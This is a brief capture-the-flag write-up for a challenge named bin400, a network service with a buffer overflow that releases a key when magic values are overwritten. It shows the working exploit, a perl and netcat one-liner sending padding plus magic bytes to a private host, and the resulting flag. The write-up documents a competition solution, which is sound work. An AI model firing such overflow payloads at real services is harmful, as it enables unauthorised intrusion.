Overview

bin400 is a network service has a buffer overflow vulnerability — it prints the key if some magic numbers are changed and otherwise prints itself.

Writeup

After realizing that the question was terribly worded and the service was not available publicly, we finally connect to the service and are rewarded with a binary. Its quickly apparent we’re supposed to overflow a buffer and change some magic value.

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% cat <(perl -e 'print "A"x256, "\x13\x0f\x17\x7f", "\x54\x4e\x4f\x44", "\x42\x7d\x3d\x5e", "\n"') - | tsocks nc 10.0.0.171 3490
MCA-A4C52829